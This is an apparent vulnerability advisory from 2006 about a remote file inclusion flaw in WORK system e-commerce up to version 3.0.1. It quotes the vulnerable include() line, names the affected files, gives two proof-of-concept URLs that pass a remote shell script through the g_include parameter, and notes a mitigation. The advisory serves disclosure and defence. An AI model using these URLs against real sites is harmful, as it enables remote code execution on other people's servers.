vendor:
WORK system e-commerce
by:
SlimTim10
7.5
CVSS
HIGH
Remote File Inclusion
94
CWE
Product Name: WORK system e-commerce
Affected Version From: worksystem <= 3.0.1
Affected Version To: worksystem <= 3.0.1
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit:
N/A
Other Scripts:
N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References:
N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2006
WORK System E-Commerce (g_include) Remote File Inclusion Vulnerability
Many files (including index.php) use the include() function with a variable that can be altered remotely. Vulnerable Code: include ($g_include."<file>.inc"); Vulnerable Files: 'index.php' (main directory) along with many files in the './administration/module' and './module' directories. Proof of Concept: http://[host]/work/index.php?g_include=[shell_script] http://[host]/work/module/forum/forum.php?g_include=[shell_script]
Mitigation:
The vulnerable files can be manually edited to initialize the $g_include variable.